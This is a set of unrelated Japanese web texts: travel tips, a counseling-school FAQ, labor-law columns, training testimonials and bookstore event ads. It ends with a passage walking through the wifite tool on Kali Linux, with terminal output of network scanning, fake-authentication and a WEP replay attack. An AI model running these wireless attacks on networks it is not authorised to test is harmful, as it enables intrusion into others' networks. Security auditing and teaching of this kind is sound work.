私は気になったホテルの口コミをざっと確認して、自分がどうしても譲れない欠点がないかどうかを確認します。例えば、立地がよく価格も魅力的なホテルでも、「エレベーターがないので荷物の移動が大変でした」というような口コミが多い場合には、スーツケースの状況によってはこのホテルは避けたりします。
Booking.comで数回予約・宿泊すると、その後の予約に割引が利いたり、様々な特典が利用できるようになり、利用すればするほどお得になるため、まだ利用したことない方はぜひ試してみてください ^^
さて、続いてはザグレブ市内から空港への移動についてです。できるだけ長く観光を楽しむためにも、空港への移動手段は重要なのでせひチェックしてみてください ^^
アクセス オススメ オリーブオイル お土産 お菓子 カフェ クロアチア ケーキ ザグレブ シーフード スーパー ホテル レストラン 旧市街
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text:
1982年奈良県生まれ。カウンセラー・作家。著書に『グッバイ公務員』『人間関係は自分との付き合い方が9割』シリーズがある。28歳の時に母が自殺。
また、公務員時代に精神疾患・うつなどにより自分や人を傷つけるおそれのある方々を精神科病院に移送し、診察に立ち会う業務や、本人・ご家族からの相談対応に600件従事。その際の現場経験から公務員独立後、カウンセラーとなる。
Q1:第1学期のカリキュラムの視聴は本当に無料ですか?
A1:無料です。日本にはなかなか「自分を知る」という文化がないので戸惑われる方も多いと思います。なので第1学期で「自分を知るとはこういうことなんだ」ということから気軽にスタートしていただけたら嬉しいです。
Q2:「学校」ということですが課題の提出などはあるのでしょうか?
A2:原則、課題はありますが提出については強制ではありません。
Q3:カリキュラムについて、第1学期の内容に沿ったものであれば疑問や質問があれば行っても良いのでしょうか?
A3:カリキュラムの内容はメンバーのあなたと一緒にブラッシュアップしていきたいので疑問や質問があればぜひ画面右下の「チャット」からおこなってください。(回答は数日かかることがあります)
Q4:社会人の私にも役に立ちますか?
A4:「どういうパートナーを求めているのか」や「これからどういうライフスタイルを送りたいのか」など就活・進路選択に限らず、「自分がどうしたいのか、どう生きたいのか」を考えられるカリキュラムになっていますので、社会人の方もぜひご参加いただければと思います。


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text:
①業務外の傷病による欠勤が  か月を超え、なお療養を継続する必要があるため勤務できないとき:  年以内
②前号のほか、特別な事情があり休職させることが適当と認められるとき:必要な期間
2 休職期間中に休職事由が消滅したときは、原則として元の職務に復帰させる。ただし、元の職務に復帰させることが困難又は不適当な場合には、他の職務に就かせることがある。
3 第1項第1号により休職し、休職期間が満了してもなお傷病が治癒せず就業が困難な場合は、休職期間の満了をもって退職とする。
※下記の日程で経営者勉強会を開催いたします。定員少数のため満席の場合はご容赦ください。
日時:平成29年1月10日午前7時〜8時30分
テーマ:従業員の秘密保持義務(秘密保持誓約書の作り方)
参加費(朝食代):1500円
日時:平成29年1月24日午前11時30分〜午後1時
参加費(昼食代):1500円
起業塾19:社内体制の整備10(就業規則の有用性)
常時10人以上の従業員を使用する会社は、労働基準法89条の規定により、就業規則を作成し、所轄の労働基準監督署長に届け出なければならないとされています。
では、従業員が10人未満の会社は、就業規則を作成しなくてもよいのでしょうか。
確かに、法律上、従業員が10人未満の会社には、就業規則の作成義務はありません。
しかし、スタートアップの会社等、従業員が10人未満の会社であっても、就業規則を作成しておくメリットは複数あります。
まず、最も大きなメリットは、個々の会社の状況に則した服務規律を定めることができるという点です。
たとえば、無断欠勤や、遅刻早退を繰り返す従業員がいたとしても、そのような場合の処分に関する明確なルールが定められていなければ、会社は、当該従業員を減給処分等することはできません。
また、当然ですが、前々回ご紹介した固定残業手当(定額残業代)制度を利用することもできません。
また、厚生労働省管轄の助成金の中には、就業規則の作成が前提とされているものがあります。
就業規則を作成しておくで、このような助成金を申請することが可能になります。
その他、従業員とのトラブルを未然に防止することができたり、良い人材確保ができたりといった副次的なメリットもあるでしょう。
このように、就業規則を作成しておくメリットは複数あります。
ただ、就業規則であれば、何でもよいというわけではありません。
実際、社会保険労務士や弁護士に就業規則の作成を依頼せず、厚生労働省が公表しているモデル就業規則*を自社の就業規則としている会社を見かけます。
しかし、モデル就業規則には多々問題がありますので、利用には注意が必要です。
次回は、モデル就業規則等ひな形の問題点について、見ていきましょう。
*http://www.mhlw.go.jp/stf/seisakunitsuite/bunya/koyou_roudou/roudoukijun/zigyonushi/model/index.html
※下記の日程で経営者勉強会を開催いたします。定員少数のため満席の場合はご容赦ください。
日時:平成29年1月10日午前7時〜8時30分
テーマ:従業員の秘密保持義務(秘密保持誓約書の作り方)
参加費(朝食代):1500円
日時:平成29年1月24日午前11時30分〜午後1時
参加費(昼食代):1500円
起業塾18:社内体制の整備9(安全配慮義務)
業務が原因で、従業員が死傷した場合、従業員ないしその家族は、会社に対し、不法行為を理由とする損害賠償請求(民法709条)をすることができます。
また、債務不履行(安全配慮義務違反)を理由とする損害賠償請求(民法415条)をすることもできます。
安全配慮義務とは、判例上、「労働者が労務提供のため設置する場所、設備もしくは器具等を使用し又は使用者の指示のもとに労務を提供する過程において、労働者の生命および身体等を危険から保護するよう配慮すべき義務」(最判昭和59.4.10、民集38-6-557、川義事件)とされてきたもので、現在では、労働契約法5条に「使用者は、労働契約に伴い、労働者がその生命、身体等の安全を確保しつつ労働することができるよう、必要な配慮をするものとする。」と定められています。
そして、たとえば、過重労働が問題となった過去の裁判例では、「会社は、労働者であるAを雇用し、自らの管理下におき、a駅店での業務に従事させていたのであるから、Aの生命・健康を損なうことがないよう配慮すべき義務を負っていたといえる。具体的には、Aの労働時間を把握し、長時間労働とならないような体制をとり、一時、やむを得ず長時間労働となる期間があったとしても、それが恒常的にならないよう調整するなどし、労働時間、休憩時間及び休日等が適正になるよう注意すべき義務があった。」として、長時間労働を原因とする死亡につき、会社に損害賠償義務を認めています(京都地判平成22年5月25日、労判1011号35頁)。
また、昨今では、会社だけでなく、取締役等の役員個人に対する損害賠償訴訟も提起されるようになってきました。そして、実際に損害賠償請求が認められる事案も出てきています。
上記裁判例でも、会社のみならず、役員個人に対しても、会社法429条1項*に基づく損害賠償義務を認めています。
会社にとって、事前に専門家によるチェックを受け、適正な労務管理を行うことは非常に重要ですが、会社のみならず、役員個人にとっても、適正な労務管理を行うことが直接的かつ重要な意味を持つといえます。
役員等がその職務を行うについて悪意又は重大な過失があったときは、当該役員等は、これによって第三者に生じた損害を賠償する責任を負う。
※下記の日程で経営者勉強会を開催いたします。定員少数のため満席の場合はご容赦ください。
日時:平成28年12月20日午前11時30分~午後1時
テーマ:従業員の秘密保持義務(秘密保持誓約書の作り方)
参加費(昼食代):1500円
日時:平成29年1月10日午前7時〜8時30分
テーマ:従業員の秘密保持義務(秘密保持誓約書の作り方)
参加費(朝食代):1500円
日時:平成29年1月24日午前11時30分〜午後1時
参加費(昼食代):1500円
起業塾17:社内体制の整備8(固定残業手当制度)
近時、いわゆる固定残業手当(定額残業代)制度、すなわち、定額の残業手当を支払うことで、時間外労働に対する割増賃金の支払いに代えるとの制度を導入している会社が増えています。
固定残業手当制度も、現実の時間外労働時間に基づいて算出される割増賃金額を下回らないかぎり適法です。
ただし、そもそも固定残業手当制度として認められるためには、少なくとも、(1)基本給部分と固定残業手当部分とを明確に区別できること、(2)他の支給目的と混同する名称が用いられていないこと、(3)固定分を超えた部分について差額を支払うことが、(4)就業規則・賃金規程・労働条件通知書等に記載されていることが必要とされています。
これらの要件を満たしていないと、制度が無効となってしまう可能性があるので、注意が必要です。
実際、過去の裁判例では、就業規則および賃金規程が明確性・一義性に欠けること、実際に労働者が自己の毎月の労働による具体的時間外割増賃金額を了知できないこと等から、割増賃金が能力給に含まれるとの会社の主張を認めなかった事案があります(東京地判平成20年3月21日、労判967号35頁、フジビルメンテナンス事件)。
また、たとえ労働者と、固定額しか支払わないとの合意をしていたとしても、そのような合意は労働基準法37条に反し無効となります。
そして、固定残業手当(定額残業代)制度が無効とされると、当該手当の額が割増賃金算定の基礎金額に算入されてしまい、予想外の金額を支払わなければならなくなる危険性があります。
固定残業手当(定額残業代)制度を導入・運用する際は、きちんと弁護士、社会保険労務士等の専門家に相談することをお勧めします。


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text:
ここ2〜3年は社内でチーム力向上委員会を設け、環境改善に努めていましたが、なかなか思うような成果が出ず、悩んでいました。
② なぜ尾庭恵子に依頼しましたか。
以前からブログを拝見していて、その飾らない自然な内容に惹きつけられていましたが、何より人を包み込むような優しさを感じていました。
たぶん、同じ内容をレクチャーされても尾庭さんの話ならうちの社員の心に響くだろうと思ったのです。
今、うちの会社に一番必要なものはコンテンツではなく、良い人の空気を感じる事だと直感し、突然電話をしました(笑)
おそらくご本人も驚かれたと思いますが、やはり継続して投稿されるブログはその人自身を写す鏡だと思います。
③ 研修によって、ご自身やチーム内に起きた変化は何でしたか。
社内の空気が明らかに暖かくなりました。以前は孤立する人がいた懇親会も皆で楽しく盛り上がる事が出来るようになったのです。
また、仕事上でのちょっとした気配りが自然にできるようになってきたと思います。
結果、業績も好調になりました。やはり人の成長は会社の成長に直結しますね。
④ 研修に対して、どういう印象をもたれましたか。
初めからシナリオありきではなく、その会社の現状にあったカリキュラムを一生懸命考えて実践していただきました。
とにかく尾庭さんが来ると雰囲気が一変するんです。みんなが笑顔で研修に取り組むのを見て、やはり間違いではなかったと確信しました。
社員の個別面談もとても効果的でみんな本音で話してくれたようです。社長の本当の想い、社員の本音を上手く中和して下さる。
このバイプレーヤーなポジションを自然に取れるのが尾庭さんの素晴らしいところですね。単なるコーチングではなく、心のすき間をしっかり埋めて笑顔にしてもらえる研修だと思います。
⑤ 今後、さらに、ご自身のチームをどうしていきたいと思っておられますか。
最初にも書きましたが、社員の成長なくして会社の成長はありません。社員が将来の夢を口々に語れるような社風をじっくり育てていきたいと思います。
皆が安心して笑顔で楽しく働ける100年続く会社をスタッフ全員で作っていきたいですね。今後ともよろしくお願いします。
株式会社京応 加藤さまのご紹介
主人が経営している保険代理店の同業で、業界では知らない人はいないのではないかと思うほど、評判も実績も高い会社の
交流会や勉強会でお目にかかる機会があり、業界をひっぱるリーダー的存在の加藤様のもつ空気感には、特別なものを感じていました。まさか、その加藤様から研修のことで連絡をいただくなんて思ってもおらず、本当に驚きました。ご自身もコンサルや研修をされるにも関わらず、どこまでも謙虚に、社員の皆さまと共により成長しようと真摯に向き合われる姿勢も、社員の方々の幸せを心から願っての組織作りに尽力されている様子も、気づいたことを即実践される行動力にも、いつも感銘を受けています。保険だけでなく、“目に見える成果を出すこと”を使命に、コンサルティング・マーケティング・ファイナンシャルプランニングなどをしておられる会社様。研修の内容を、常に日常業務に落とし込み、自分事としてとらえて下さる皆様との時間の
http://www.keio-web.com/
特別養護老人ホーム大慈智音園 施設長 坂本和恵様
① 研修前の課題は何でしたか。どういう悩み、テーマをお持ちでしたか。
様々な事業所から異動や転職で集まってきたメンバーで平成28年4月1日に特別養護老人ホームを開設することになりました。
今までの働き方や価値観、介護の仕方等それぞれが違っており、意思の統一やチームとして団結するのがすぐには難しいと感じました。
また開設準備等で忙しい中コミュニケーションを取る時間を設けるのも難しい状況でした。
それぞれが同じ目標に向かって、協力できるチームを作ることが私の希望でした。
② なぜ尾庭恵子に依頼しましたか。
数年前に一度、尾庭さん主催の研修に参加した時にお会いしたことがあり、とても穏やかで柔らかい印象だった事と優しい言葉を掛けて頂いた事ですぐに尾庭さんのファンになりました。
その後、以前に私が所属していたケアハウスでリーダー研修を1日やって頂き、スタッフに大変好評でした。
また日頃からフェイスブック等で垣間見える母としての尾庭さんの姿もとても素敵で、同じ母としても共感できる部分がたくさんありました。
講師としても母としても温かく優しい尾庭さんに是非自分のチームを作っていく段階で関わって欲しいと強く思い、10ヶ月に渡って研修をお願いすることにしました。
③ 研修によって、ご自身やチーム内に起きた変化は何でしたか。
最初の研修では、自分の思いや考えを話す時に恥かしがって茶化したり、なかなか言葉が出ないスタッフがいました。
研修の回数を重ねる度に全員が自分の思いを堂々と話し、それを周りのスタッフもしっかり聞ける様になりました。
様々なワークを通して、お互いの共通点や違いを知り、お互いを受け入れる事の大切さを知りました。
「みんな正解」という考えが、少しずつですが共有でき、普段の業務や会議でも考えの違いを受け入れられる様になりました。
そして、何よりこの研修の時間がみんなの大切なコミュニケーションの時間になりました。
仕事のことでギクシャクしても、この時間はワークやゲームを共に楽しみ、知らず知らずにみんなが笑顔になっていました。
10回の研修を通して、私達は少しずつチームになっていった様に思います。
④ 研修に対して、どういう印象をもたれましたか。
2時間があっという間に終わってしまうという印象です。
ワークやゲーム等楽しみながら笑顔で過ごす時間が多くありました。
協力や共感を体感出来ることが多く、それを現場でのチーム作りに生かす事が出来ました。
また、毎回この研修が終わったらどうなっていたいかというゴール設定をして研修を受けましたので、ただ楽しかったで終わるのでは無く毎回自分の得たいものを意識して取り組むことが出来ました。
⑤ 今後、さらに、ご自身のチームをどうしていきたいと思っておられますか。
もっと強く理念を意識しながら、一人ひとりが自分のアイデアや意見を出して、自分らしく仕事をしながら、困難に合った時はお互いが助け合えるチームになって行きたいと思います。
施設長 坂本様のご紹介
出会いは数年前、私が主催したあるイベントに、ご参加者様としてこられたことでした。そこからフェイスブックをみてくださっていたようで、ある時、研修の依頼をいただきました。
毎回、研修後に、二人で振り返りをするのですが、その中で、「スタッフの方たちが、実現したいと思っていることを叶えるためのサポートをしたい。そしてメンバー全員が、愛すべき存在なのです。」とおっしゃっていたことが、とても印象に残っています。ご家庭ではまだ小さいお子様も含めてのお母さんでありながら、いつも美しく、最高の笑顔で、施設の中におられる様子は、尊敬する女性像そのものです。デイサービスセンター、ショートステイ、居宅介護支援事業所、保育園など多角的な経営をされる中、新しく設立された特別養護老人ホームでの研修を任せてくださいました。模索しながら施設づくりをされる中で、スタッフの皆様おひとりおひとりも、とても真剣に学びを深めて下さいました。凡事非凡の精神で、施設づくりをされる皆さま
特別養護老人ホーム 大慈智音園様
http://www.daijien.com/
下関商工会議所青年部 中尾宏至様
① 研修前の課題は何でしたか。どういう悩み、テーマをお持ちでしたか。
新年度になって間もない時期の講演会だったので、新しい組織体制下でより仲間の魅力に気づき、その後の商工会議所青年部活動が魅力的になるきっかけとなる講演会を開催したいと考え尾庭講師へ依頼しました。
② なぜ尾庭恵子に依頼しましたか。
以前、会社内でメンバー間のコミュニケーションが悪くなりトラブルが続き会社内の雰囲気が悪くなった時期に、尾庭講師の研修を受け多くの気づきを得ることで社内の雰囲気も明るくなり、メンバー間のコミュニケーションもスムーズになった経験があり、講師は尾庭さんが適任だと思いました。
また、一個人として人柄や行動力など、人間的魅力溢れる尾庭講師と下関商工会議所青年部の仲間との間にもご縁を結びたくて講演を依頼しました。
③ 研修によって、ご自身やチーム内に起きた変化は何でしたか。
一方的に講演を聞くというスタイルではなく、講演と参加型ワークを一緒に行うスタイルは参加者としては楽しみながら学びと気づきを得ることができ大変好評でした。
また、講演時間が進むとともに、どんどん尾庭講師の魅力に参加者が引き込まれていく感じでした。
④ 参加された方々の反応はどうでしたか。
講演時間があっという間に過ぎた、まだまだ講演を聞きたかった、楽しく気づきを得ることができた、わかりやすかったなど、好反応の感想が多く、講演が終わりに近づくにつれ笑顔が増え会場の雰囲気が良くなったように感じました。
数年前、ご自身が経営される会社での研修をご依頼くださいました。当時の課題は、チームワーク力の向上と、理念・ビジョンの共有。社長はじめ、役員・社員の皆様一丸となって、気持ちよく研修を受けてくださった記憶があります。 数年経ち、連絡を頂いたのは、商工会議所青年部のお役としてでした。大きな大会の様々な事前準備と、当日の進行、案内も含め、それはそれはきめ細やかに対応いただきました。
当日が近づくにつれ、緊張が増す私に、「何かあったらできる限り動きますから。」と言ってくださり、最大限の安心をくださったのは、本当に心強かったです。地域の大切なお仲間に紹介してくださったこと、本当にありがたく思っています。ありがとうございます。


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しかし、どう意識を変えたらいいのか。まず何から始めればいいのか。
そもそも私は気づかいができない人間なのではないかと、
迷いながらも、どうしたらいいのかわからない。
そんな私を見かねてか、会社の社長である三浦が「面白い考え方があるよ」と紹介してくれたのが、高林さんでした。
高林忠正 (タカバヤシ タダマサ) 接遇の伝道者。慶應義塾大学商学部を卒業後、三越に入社。 販売、仕入をはじめ、24年間で14の職務を担当後、社内公募で 法人外商を志望。ノベルティ(おまけ)の企画提案営業により、 その後の4年間で3度の社内MVPを受賞。新入社員時代、 三百年の伝統に培われた「変わらざるもの=まごころの精神」と、 「変わるべきもの=時代の変化に合わせて自らを変革すること」が職業観の根幹となる。 一方で、10年間のブランクの後に店頭の販売に復帰した40代、 「人は言えないことが9割」という認識の下、お客様の観察に活路を見いだす。 現在は、三越の先人から引き継がれる原理原則を基に、接遇を含めた問題解決に当たっている。 モットーは、”ベストメモリー・コンシェルジュ”たれ!
山中「高林さん、一体どうやっったら気づかいができる人になれるのでしょうか」
高林「いえいえ、誰しも気づかいの達人になれるんです。まずは行動を変えてみてはどうでしょうか?」
山中「行動を変える?」
高林「そう。行動は1回ではなく、意識して繰り返すことが大事。行動を繰り返すと、ある段階から心がまえが変化し始めます。その心がまえが定着し、行動が習慣化すれば。それはもう自分が変わっていることに他なりません。まずやってみる。このワンアクションが重要なんです」
高林さんは現在「気づかい」についての著書も執筆中。
この度、特別にその本の内容から特に重要な10個の行動をピックアップして講義いただけることとなりました!!!
人がして欲しいことを、最も相応しいタイミングで行える。
1歩も2歩も先を読んで人のために動くことができる。
このときはこうする。などの決まった行動だけでなく、
様々な場面で応用ができる「気づかい」ができる達人になりたい。
気が利く行動は、意識を変え、自分を変え、さらには周囲を変え、組織を変え、世の中を変えます。「気づかいの達人になる」一歩を踏み出してみましょう!
どうぞよろしくお願いいたします。
10個の気づかいワンアクション
1、立ち去るときの心がけ、テーブルとソファをさりげなく拭く
2、「タバコを買ってきて」と言われたら、「タバコだけ」は買ってこない。 3、同僚が髪を切ったら絶好の気づかいのチャンス
4、打ち合わせの時は、ソファーの下こそ綺麗にする
5、宴会では、幹事さんのことを一番に気に掛ける
6、ラーメン屋さんで、ペーパーエプロンを渡すタイミングに見た気づかいのヒント
7、毎日荷物の集荷をしてくれる配送の人の顔をあなたは覚えていますか? 8、「幹事をやれ!」と言われたら、1に安心、2に順番、3、4がなくて、すべて◯ 9、その人の背景を知れば、出すべき水の銘柄がわかる
10、担当者不在の時は分身の術を使えるようになる
日時:2019年11月29日(金)
参加費:3500円(税別)
*「ファイナルクラブ天狼院」会員の方は、本イベントに半額で参加いただけます。
*ファイナルクラブについてはこちら
場所:天狼院書店 Esola池袋店 STYLE for Biz
■会場:天狼院書店「Esola池袋店」STYLE for Biz/または後日動画受講(通信でご受講の方は、収録した動画を2〜3日以内に共有させていただきますので、アップロード動画にてご視聴いただけます。)
*Esola池袋店へのアクセス
*天狼院書店は池袋エリアに3拠点ございますが、今回のイベントは有楽町線直結の駅ビル「Esola池袋」2階のSTYLE for Biz「Esola池袋店」にて開催となりますので、ご注意ください。
下記いずれかの方法でお申し込みください。
①お電話でのご予約:天狼院書店「Esola池袋店」(03-6914-0167)
受付時間 10:30〜21:30
②メールでのご予約:お問い合わせフォーム より 件名に「11/29(金)ワンアクション気づかい講座」とご記入の上、お名前とご連絡先、受講希望形式(Esola会場/通信)をお送りください。
③【チケット購入ページ】
※必ず、ページ下部の注意事項を読んだ上で決済にお進み下さい。
《Esola会場/一般》:3500円(税別)
《Esola会場/会員価格》:1750円(税別)
*ファイナルクラブ天狼院の方は半額でご参加いただけます。
《通信受講/一般》:3500円(税別)
《通信受講/会員》:1750円(税別)
*ファイナルクラブ天狼院の方は半額でご参加いただけます。
※必ず、注意事項を読んだ上で決済にお進み下さい。
・勧誘、営業活動を目的とされる方の参加は、固くお断りいたします。勧誘、営業目的で参加されている事が発覚した場合、以降のイベントへの参加をお断りさせていただき、もしくは退室していただく事があります(その場合でも、参加費の返金はいたしません)ので、ご了承ください。
・有料無料問わず、講師、参加者への他のイベント、セミナー、グループ、店、企業、その他への勧誘は固く禁じます。また、勧誘を見かけた場合はスタッフまでご一報ください。ただし、天狼院書店が許可した場合は、この限りではありません。
・最小敢行人数4名様(万が一中止の場合、前日までにお知らせ致します)。
・本イベントの内容の著作権は、講師および天狼院書店に帰属します。本イベントの内容を他で利用することを、あらゆる面で、固く禁じます。
・会およびコミュニティーの運営に支障をきたすと判断した場合、任意かつ一方的に、退会をしていただく場合がございます。
2019-11-08 | Posted in 11月東京イベント, Esola池袋店 STYLE for Biz, イベント, イベント情報
東京【11月22日(金)19:30〜】本屋にて開催!アナログゲーム大会!「アナログゲーム部」《初参加大歓迎!》《ゲームの持ち込み、未経験の方大歓迎!》
東京11/17(日)12:30~【ファナティック読書会📚】今回のテーマは『音♪』~本についてのんびりお喋りする読書会。初めての方・お一人でのご参加大歓迎!~
【11/22金19:30~STYLE for Biz本屋で学ぶビジネス英語学習法講座、ビジネスに活きる!英語学習方法を見極めよう  11月テーマ「ボキャブラリー 英単語+1000を目指すための語彙力アップスペシャル講座」
東京11/10(日)12:30~【ファナティック読書会📚】今回は『フリーテーマ』~本についてのんびりお喋りする読書会。初めての方・お一人でのご参加大歓迎!~
《初めての方も大歓迎!》【11/3(日)11:30〜大レンズ沼被害者の会】「レンズが変わると世界が変わる?!」カメラの話で盛り上がる!スペシャルゲスト登場!?こんないい写真が撮れるならしょうがない……「大レンズ沼被害者の会」開催いたします!!《東京・福岡・京都・通信》
【10/9(日)13:30〜】“面白かった”で終わらせない、超実践読書会/プラクティス・リーディング・プロジェクト 第6回〜『[新訳]禅マインド ビギナーズ・マインド』(鈴木 俊隆著)《東京・名古屋・大阪・福岡・全国通信》
★9月末までスーパー早割15%OFF!【2022年12月開講】心理ライティング講座〜心理学的アプローチで「人の思考や行動に影響を与える」秘伝のライティング術!《初参加大歓迎!》
★9/24(土)までのお申し込みで、オススメ1DAY講座をプレゼントする早期特典付き!★東京・通信【2022年12月開講】カメラはいらない、編集ソフトも使わない、絵コンテ作りを通して、動画における「伝え方」の基本を身につける!現役クリエイティブ・ディレクターが本気で教える!『「1分CM」を創るゼミ 』《全国通信受講対応》
【新開講】天狼院ライティング実践教室、開講!フィードバック中心の講義!〜ライティング・ゼミ受講後に書き続けたい方/実践力をつけたい方/得意分野を見つけたい方へ〜《天狼院GoGoカルチャー教室》
《全国通信受講》9/19 16:00〜18:00 PIXTA × 天狼院書店『天狼院フォトDAY』Specialタイアップ企画 /ストックフォトビジネス徹底解説 〜収益の仕組み、求められる素材/クリエイター、ストックフォトの観点からの皆さんの写真を個別好評します!〜
《Esola・通信》10/16(日) 15:00 1日24時間(1440分)のわずか1%、15分を使って『必ず人生を好転させる本の読み方』を手に入れる!超入門編かつ超実践的読書術『1%読書術』発刊記念イベント
《Esola・通信》9/25(日)11:00 小説家はどのように本を読み、自分自身の制作に活かすのか?その方法・メソッドを手に入れられる120分!現役小説家・谷津矢車先生が教える! 小説を書く人のための本の読み方講座
★9/3(土)開講!東京・通信【2022年9月開講 心理ライティング講座】心理学的アプローチで「人の思考や行動に影響を与える」〜秘伝のライティング術!《初参加大歓迎!》
【天狼院デザイン学校】デザインの基礎から、バナー、チラシ、ロゴ、パンフレット、雑誌のデザインなどを、第一線で活躍しているプロのデザイナーから学べる!《2022年10月リニューアル!》
東京・通信【10/29(土)13:00~】ショートショート作家・田丸雅智さん登壇!簡単に小説が書ける「超ショートショート講座」〜短くて不思議な小説を考えてみよう!
《Esola・通信》9/28(水)19:00未経験〜ベテランまで、株投資に興味があるすべての人にオススメ!一生モノの最強の武器『株メンタル』の基礎・基本を学ぶ120分。23年で5億円を稼いだトップ3%投資家から直接学べる!『株メンタル』発刊記念イベント
★9/27(火)までの早期特典あり!【2022年10月開講】チラシ・パンフレットなどの「冊子デザイン講座」!初心者OK!3ヶ月で4ページのパンフレットをつくってみよう〜レイアウトからデザイン・入稿まで〜《全国通信受講対応!》
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【8/28(日)10:00〜】副業/駆け出しクリエイターのための時間術講座!時間を制するものがクリエイティブを制する!ワークショップ付きの実践講座!《1日完成超実践講座》
【全講義通信受講】超実践iPad仕事術大全《仕事編》《学習・思考術編》《クリエイティブ編》
東京・通信【2022年10月開講〜「小説家養成ゼミ」入門講座】本気で小説家を目指す!作家を続々輩出中の人気ゼミから、ついに「入門クラス」が登場!《プロットの作り方を徹底して学ぶ3ヶ月コース》★9/25(日)までのお申込みで早期特典あり!1番お得!★
通信【2022年10月開講〜無限ラーニングZ】〜次世代型独習システム〜10月開講コース!学びをシステム化し、Notionでレコーディング・システムを構築する!まったく新しいタイプの独学術講座、特別開講!第1期7月開講コースは3日間で完売!50席限定/特別指定講座!
湘南【7/12(火)8/19(金)23(火)】湘南天狼院の特等席、屋上で「江の島花火」を鑑賞しよう!そして極上の1枚を撮ろう!江の島花火大会、鑑賞&撮影会!《天狼院食堂全制覇、飲み食べ放題付き》
限定特典多数!天狼院書店の会員制度「天狼院読書クラブ/TENRO-IN BOOK CLUB」〜読書量を200%にする、人生”拡張”プロジェクト〜
【天狼院の新メニュー】元彼が好きだったバターチキンカレー《川代ノート》
【9/26(月)〜30(金)天狼院書店9周年記念3・9(サンキュー)セール!9/26(月)1日完全限定・39%OFF+39%ポイント還元!】【2022年11月開講】「デザインの原理原則」を3ヶ月で身につける!「デザイン力の基本」ゼミ!受講目的に合わせ3つのコースを新設営!戦略ディレクションコース/表現クリエイティブコース/アワードチャレンジコース《全国通信受講対応》
7つの顔を持つ書店/天狼院書店《TENRO-IN 7 FACES》
【大募集】スタジオ天狼院「クリエイティブ・インターン」!様々なアートを学んで、制作する!〔東京/福岡/京都〕
【2022年9月〜】天狼院書店「東京天狼院」開催予定イベント一覧!《随時更新!》
【10/14(金)19:00〜】オトナのための飲み会読書会!お気に入りの一冊を、魅力的に紹介するとっておきの方法を実践してみよう!《初めての方・お一人でのご参加大歓迎!》
湘南 フランス伝統工芸の“カルトナージュ“で『世界に一つのブックカバー』を作ろう! 自分/大切な人に送る、素敵なハンドメイド体験を湘南天狼院で。
【京都 9/30(金)】映画『四畳半タイムマシンブルース』公開記念・森見登美彦ファナティック読書会!読んだことある方も「これを機に知りたい!」な方も。京都の町家を改装した「本屋」で、森見作品を語らう夜!《森見作品に登場する「あのお酒」も飲めるオプションあり♪/初参加、大歓迎!》


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text:
複数のWEP、WPA、WPS暗号化ネットワークを連続して攻撃するために。このツールは、いくつかの引数を指定するだけで自動化できるようにカスタマイズ可能です。Wifiteは、"set it and forget it “の無線監査ツールを目指しています。
攻撃対象を正確に指定するための多数のフィルタ(wep/wpa/both、特定の信号強度以上、チャネルなどカスタマイズ可能な設定(タイムアウト、パケット数/秒など)
攻撃する前にMACをランダムなアドレスに変更し、攻撃が完了すると元に戻す「匿名」機能
キャプチャされたWPAハンドシェイクはすべてwifite.pyのカレントディレクトリにバックアップされます
スマートなWPA認証解除:すべてのクライアントとブロードキャスト認証の間でサイクルする
Ctrl+Cで攻撃を停止し、継続、次のターゲットへの移動、クラッキングへのスキップ、終了のオプションが可能
終了時にセッションサマリーを表示し、クラックされたキーを表示
すべてのパスワードを cracked.txt に保存
[Applications]→[06-Wireless Attacks]→[wifite]
【実行イメージ】少し端折って整形しています。
(個人情報はマスクしています。)
┌──(kali__kali)-[~] └─$ sudo su sudo: ホスト localhost.localdomain の名前解決ができません: 名前解決に一時的に失敗しました [sudo] kali のパスワード:
// wifiteを実行します。
┌──(kali__kali)-[/home/kali] └─# wifite    .               .      .´    .     .    `.  wifite2 2.5.8  :  :  :  ()  :  :  :  a wireless auditor by derv82  `.    ` /\ ´    .´  maintained by kimocoder    `     /     ´    https://github.com/kimocoder/wifite2 [!] Warning: Recommended app pyrit was not found. install @ https://github.com/JPaulMora/Pyrit/wiki [!] Warning: Recommended app hcxdumptool was not found. install @ apt install hcxdumptool [!] Warning: Recommended app hcxpcapngtool was not found. install @ apt install hcxtools [+] Using wlan0mon already in monitor mode NUM                      ESSID   CH  ENCR   POWER  WPS?  CLIENT ---  -------------------------  ---  -----  -----  ----  ------   1                   x-xx-2G     1  WPA-P   51db    no   2            xxxxx-xxxxxx-g     7  WPA-P   43db    no   3           xxxxx-xxxxxx-gw     7  WEP   43db    no [+] Scanning. Found 3 target(s), 3 client(s). Ctrl+C when ready  ------------------------------------------------ [+] Scanning. Found 3 target(s), 3 client(s). Ctrl+C when ready
// Ctrl+Cで停止させます。
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// 解析が始まります。
[+] (1/1) Starting attacks against FF:FF:FF:FF:FF:FF (xxxxx-xxxxxx-gw) [+] attempting fake-authentication with FF:FF:FF:FF:FF:FF... success [+] xxxxx-xxxxxx-gw (42db) WEP replay: 0/10000 IVs, no-auth, Waiting for packet... [!] restarting aireplay after 11 seconds of no new IVs [+] xxxxx-xxxxxx-gw (40db) WEP replay: 1/10000 IVs, no-auth, Waiting for packet... [!] restarting aireplay after 11 seconds of no new IVs [+] xxxxx-xxxxxx-gw (42db) WEP replay: 1/10000 IVs, fakeauth, Waiting for packet... [!] restarting aireplay after 11 seconds of no new IVs [+] xxxxx-xxxxxx-gw (42db) WEP replay: 17/10000 IVs, fakeauth, Waiting for packet... [!] restarting aireplay after 11 seconds of no new IVs [+] xxxxx-xxxxxx-gw (42db) WEP replay: 17/10000 IVs, fakeauth, Waiting for packet... [!] restarting aireplay after 11 seconds of no new IVs [+] xxxxx-xxxxxx-gw (40db) WEP replay: 18/10000 IVs, fakeauth, Waiting for packet... [!] restarting aireplay after 11 seconds of no new IVs [+] xxxxx-xxxxxx-gw (40db) WEP replay: 18/10000 IVs, fakeauth, Waiting for packet...  :  :
// 解析できなかった場合、解析プログラムを変更するためにCtrl+Cで停止させます。
[+] xxxxx-xxxxxx-gw (41db) WEP replay: 10251/10000 IVs, fakeauth, Waiting for packet... and c [+] xxxxx-xxxxxx-gw (41db) WEP replay: 10251/10000 IVs, fakeauth, Waiting for packet... and c [+] xxxxx-xxxxxx-gw (42db) WEP replay: 10251/10000 IVs, fakeauth, Waiting for packet... and cracking^C
// 解析プログラムの一覧が表示されます。
